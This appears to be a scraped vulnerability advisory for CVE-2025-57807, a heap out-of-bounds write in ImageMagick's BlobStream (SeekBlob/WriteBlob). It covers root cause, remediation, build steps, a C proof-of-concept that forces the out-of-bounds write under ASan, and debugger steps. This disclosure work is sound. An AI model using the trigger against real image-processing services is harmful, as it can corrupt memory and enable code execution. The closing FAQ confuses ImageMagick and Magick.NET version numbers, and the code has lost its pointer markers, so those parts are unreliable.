CVE-2025-57807: ImageMagick BlobStream Forward-Seek Under-Allocation
Reporter: Lumina Mescuwa Product: ImageMagick 7 (MagickCore) Component: MagickCore/blob.c (Blob I/O - BlobStream) Tested: 7.1.2-0 (source tag) and 7.1.2-1 (Homebrew), macOS arm64, clang-17, Q16-HDRI Impact: Heap out-of-bounds WRITE (attacker-controlled bytes at attacker-chosen offset) → memory corruption; potential code execution
---
Executive Summary
For memory-backed blobs (BlobStream), SeekBlob() permits advancing the stream offset beyond the current end without increasing capacity. The subsequent WriteBlob() then expands by quantum + length (amortized) instead of offset + length, and copies to data + offset. When offset ≫ extent, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2⁶⁴ arithmetic wrap, external delegates, or policy settings are required.
---
Affected Scope
- Versions confirmed: 7.1.2-0, 7.1.2-1 - Architectures: Observed on macOS arm64; architecture-agnostic on LP64 - Paths: MagickCore blob subsystem — BlobStream (SeekBlob() and WriteBlob()). - Not required: External delegates; special policies; integer wraparound
---
Technical Root Cause
Types (LP64): offset: MagickOffsetType (signed 64-bit) extent/length/quantum: sizet (unsigned 64-bit) data: unsigned char
Contract mismatch:
- SeekBlob() (BlobStream) updates offset to arbitrary positions, including past end, without capacity adjustment. - WriteBlob() tests offset + length >= extent and grows by length + quantum, doubles quantum, reallocates to extent + 1, then: q = data + (sizet)offset; memmove(q, src, length); There is no guarantee that extent ≥ offset + length post-growth. With offset ≫ extent, q is beyond the allocation.
Wrap-free demonstration: Initialize extent=1, write one byte (offset=1), seek to 0x10000000 (256 MiB), then write 3–4 bytes. Growth remains << offset + length; the copy overruns the heap buffer.
---
Exploitability & Reachability
- Primitive: Controlled bytes written at a controlled displacement from the buffer base. - Reachability: Any encode-to-memory flow that forward-seeks prior to writing (e.g., header back-patching, reserved-space strategies). Even if current encoders/writers avoid this, the API contract permits it, thus creating a latent sink for first- or third-party encoders/writers. - Determinism: Once a forward seek past end occurs, the first subsequent write reliably corrupts memory.
---
Impact Assessment
- Integrity: High - adjacent object/metadata overwrite plausible. - Availability: High - reliably crashable (ASan and non-ASan). - Confidentiality: High - Successful exploitation to RCE allows the attacker to read all data accessible by the compromised process. - RCE plausibility: Typical of heap OOB writes in long-lived image services; allocator/layout dependent.
---
CVSS v3.1 Rationale (9.8)
- AV:N / PR:N / UI:N - server-side image processing is commonly network-reachable without auth or user action. - AC:L - a single forward seek + write suffices; no races or specialized state. - S:U - corruption localized to the ImageMagick process. - C:H / I:H / A:H - A successful exploit leads to RCE, granting full control over the process. This results in a total loss of Confidentiality (reading sensitive data), Integrity (modifying files/data), and Availability (terminating the service).
Base scoring assumes successful exploitation; environmental mitigations are out of scope of Base metrics.
---
Violated Invariant
Before copying length bytes at offset, enforce extent ≥ offset + length with overflow-checked arithmetic.
The BlobStream growth policy preserves amortized efficiency but fails to enforce this per-write safety invariant.
---
Remediation (Principle)
In WriteBlob() (BlobStream case):
1. Checked requirement: need = (sizet)offset + length; → if need < (sizet)offset, overflow → fail. 2. Ensure capacity ≥ need: target = MagickMax(extent + quantum + length, need); (Optionally loop, doubling quantum, until extent ≥ need to preserve amortization.) 3. Reallocate to target + 1 before copying; then perform the move.
Companion hardening (recommended):
- Document or restrict SeekBlob() on BlobStream so forward seeks either trigger explicit growth/zero-fill or require the subsequent write to meet the invariant. - Centralize blob arithmetic in checked helpers. - Unit tests: forward-seek-then-write (success and overflow-reject).
---
Regression & Compatibility
- Behavior change: Forward-seeked writes will either allocate to required size or fail cleanly (overflow/alloc-fail). - Memory profile: Single writes after very large seeks may allocate large buffers; callers requiring sparse behavior should use file-backed streams.
---
Vendor Verification Checklist
- Reproduce with a minimal in-memory BlobStream harness under ASan. - Apply fix; verify extent ≥ offset + length at all write sites. - Add forward-seek test cases (positive/negative). - Audit other growth sites (SetBlobExtent, stream helpers). - Clarify BlobStream seek semantics in documentation. - Unit test: forward seek to large offset on BlobStream followed by 1–8 byte writes; assert either growth to need or clean failure.
---
PoC / Reproduction / Notes
Environment
- OS/Arch: macOS 14 (arm64) - Compiler: clang-17 with AddressSanitizer - ImageMagick: Q16-HDRI - Prefix: ~/opt/im-7.1.2-0 - pkg-config: from PATH (no hard-coded /usr/local/...)
---
Build ImageMagick 7.1.2-0 (static, minimal)
bash ./configure --prefix="$HOME/opt/im-7.1.2-0" --enable-hdri --with-quantum-depth=16 \ --disable-shared --enable-static --without-modules \ --without-magick-plus-plus --disable-openmp --without-perl \ --without-x --without-lqr --without-gslib
make -j"$(sysctl -n hw.ncpu)" make install
"$HOME/opt/im-7.1.2-0/bin/magick" -version > magickversion.txt
---
Build & Run the PoC (memory-backed BlobStream)
poc.c: Uses private headers (blob-private.h) to exercise blob internals; a public-API variant (custom streams) is feasible but unnecessary for triage.
c // poc.c
#include <stdio.h>
#include <stdlib.h>
#include <MagickCore/MagickCore.h>
#include <MagickCore/blob.h>
#include "MagickCore/blob-private.h"
int main(int argc, char argv) {
MagickCoreGenesis(argv[0], MagickTrue);
ExceptionInfo e = AcquireExceptionInfo();
ImageInfo ii = AcquireImageInfo();
Image im = AcquireImage(ii, e);
if (!im) return 1;
// 1-byte memory blob → BlobStream
unsigned char buf = (unsigned char) malloc(1);
buf[0] = 0x41;
AttachBlob(im->blob, buf, 1); // type=BlobStream, extent=1, offset=0
SetBlobExempt(im, MagickTrue); // don't free our malloc'd buf
// Step 1: write 1 byte (creates BlobInfo + sets offset=1)
unsigned char A = 0x42;
(void) WriteBlob(im, 1, &A);
fprintf(stderr, "[+] after 1 byte: off=%lld len=%zu\n",
(long long) TellBlob(im), (sizet) GetBlobSize(im));
// Step 2: seek way past end without growing capacity
const MagickOffsetType big = (MagickOffsetType) 0x10000000; // 256 MiB
(void) SeekBlob(im, big, SEEKSET);
fprintf(stderr, "[+] after seek: off=%lld len=%zu\n",
(long long) TellBlob(im), (sizet) GetBlobSize(im));
// Step 3: small write → reallocation grows by quantum+length, not to offset+length
// memcpy then writes to data + offset (OOB)
const unsigned char payload[] = "PWN";
(void) WriteBlob(im, sizeof(payload), payload);
// If we get here, it didn't crash
fprintf(stderr, "[-] no crash; check ASan flags.\n");
(void) CloseBlob(im);
DestroyImage(im); DestroyImageInfo(ii); DestroyExceptionInfo(e);
MagickCoreTerminus();
return 0;
}
---
run:
bash Use the private prefix for pkg-config export PKGCONFIGPATH="$HOME/opt/im-7.1.2-0/lib/pkgconfig:$PKGCONFIGPATH"
Strict ASan for crisp failure export ASANOPTIONS='haltonerror=1:abortonerror=1:detectleaks=0:fastunwindonmalloc=0'
Compile (static link pulls transitive deps via --static) clang -std=c11 -g -O1 -fno-omit-frame-pointer -fsanitize=address -o poc poc.c \ $(pkg-config --cflags MagickCore-7.Q16HDRI) \ $(pkg-config --static --libs MagickCore-7.Q16HDRI)
Execute and capture ./poc 2>&1 | tee asan.log
Expected markers prior to the fault:
[+] after 1 byte: off=1 len=1 [+] after seek: off=268435456 len=1
An ASan WRITE crash in WriteBlob follows (top frames: WriteBlob blob.c:<line>, then platformmemmove / sanitizerinternalmemmove).
---
Debugger Verification (manual)
LLDB can be used to snapshot the invariants; ASan alone is sufficient.
lldb ./poc (lldb) settings set use-color false (lldb) break set -n WriteBlob (lldb) run
First stop (prime write) (lldb) frame var length (lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped (lldb) continue
Second stop (post-seek write) (lldb) frame var length (lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped (lldb) expr -- (unsigned long long)image->blob->offset + (unsigned long long)length (lldb) expr -- (void)((unsigned char)image->blob->data + (sizet)image->blob->offset)
Into the fault; if inside memmove (no locals): (lldb) bt (lldb) frame select 1 (lldb) frame var image->blob->offset image->blob->length image->blob->extent image->blob->quantum
Expected at second stop: type = BlobStream · offset ≈ 0x10000000 (256 MiB) · length ≈ 3–4 · extent ≈ 64 KiB (≪ offset + length) · quantum ≈ 128 KiB · mapped = MagickFalse · data + offset far beyond base; next continue crashes in platformmemmove. ---
Credits
Reported by: Lumina Mescuwa
---
Other sources
ImageMagick is free and open-source software used for editing and manipulating digital images. ImageMagick versions lower than 14.8.2 include insecure functions: SeekBlob(), which permits advancing the stream offset beyond the current end without increasing capacity, and WriteBlob(), which then expands by quantum + length (amortized) instead of offset + length, and copies to data + offset. When offset ≫ extent, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2⁶⁴ arithmetic wrap, external delegates, or policy settings are required. This is fixed in version 14.8.2.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2025-57807?
CVE-2025-57807 is classified as a high severity vulnerability due to the potential for heap out-of-bounds write exploits.
How do I fix CVE-2025-57807?
To remediate CVE-2025-57807, update to the latest version, specifically 14.8.2, of the affected Magick.NET packages.
Which versions of ImageMagick are affected by CVE-2025-57807?
CVE-2025-57807 affects various versions of Magick.NET including all prior to 14.8.2.
What type of vulnerability is CVE-2025-57807?
CVE-2025-57807 is a heap out-of-bounds write vulnerability that allows attackers to manipulate memory.
Who reported CVE-2025-57807?
CVE-2025-57807 was reported by Lumina Mescuwa.